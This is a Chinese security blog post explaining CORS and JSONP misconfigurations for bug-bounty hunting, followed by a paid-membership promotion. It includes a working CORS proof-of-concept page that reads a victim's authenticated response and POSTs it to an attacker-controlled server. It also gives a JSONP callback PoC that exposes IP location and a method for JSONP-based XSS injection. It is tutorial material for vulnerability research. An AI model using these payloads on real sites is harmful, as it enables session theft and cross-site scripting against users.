🌟 ❤️
作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:801
阅读时间: 5min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
前言
大致介绍
cors
jsonp
最近在接触一些src的挖掘,大家可能在一些小的src平台能够逐渐看见我的名字了(bushi,别开盒我),但网上大多数讲的相关漏洞挖掘太偏向于应用,并没有详细的解析过程,故产生了这篇文章
在我最近挖到的src中,都没有遇到相关漏洞,对于jsonp和cors的印象,大致还停留在上次面试被问到这两者的区别。在这之前我们就需要知道浏览器的同源策略。
同源策略: 在同协议,同域名 同端口的情况下,两个网站可以相互执行对应页面脚本,进行资源交互
但由于业务的需求,有些时候确实需要实现跨域资源共享,这个时候就出现了jsonp和cors
两者的区别在于,cors可以支持get,put,delete,post等请求,而jsonp只能支持简单的get请求
我对于cors的理解类似于csrf,但不同于csrf,csrf一旦添加同源协议,就无法实现,而cors正是实现在同源协议上的漏洞->即没有实施严格过滤的同源协议从而导致产生任意页面可执行加载资源的漏洞。
cors包括以下几个响应头
Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。
这里提供一个代码实例
这个请求可以泄露自己的sessionId
验证方法->加入origin: https://www.baidu.com
观察响应体
不拦截,则证明存在该漏洞
poc如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>CORS test</h1>
</body>
</html>
<script>
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");
alert('3');
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.
alert(xhr1.responseText);
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
然后构造一个服务端php去接受data即可
成功复现
jsonp大多数跟callback参数有关(这也涉及到另外一个漏洞,jsonpxss)
jsonp跟cors几乎是同理的,只是范围小了许多,只能使用get请求
poc如下
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP暴露ip</title>
</head>
<body>
<script type="text/javascript">
function ip_callback(result)
{
alert(result.result.country);
alert(result.result.province);
alert(result.result.city);
alert(result.result.ip);
}
</script>
<script type="text/javascript" src="https://ipservice.ws.126.net/locate/api/getLocByIp?callback=ip_callback"></script>
</body>
</html>
而jsonp的xss测试方法则更为简单
两个条件
1.返回包里面的content-type为text/html
2.callback参数可控,直接插入<script>标签即可看返回页面。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放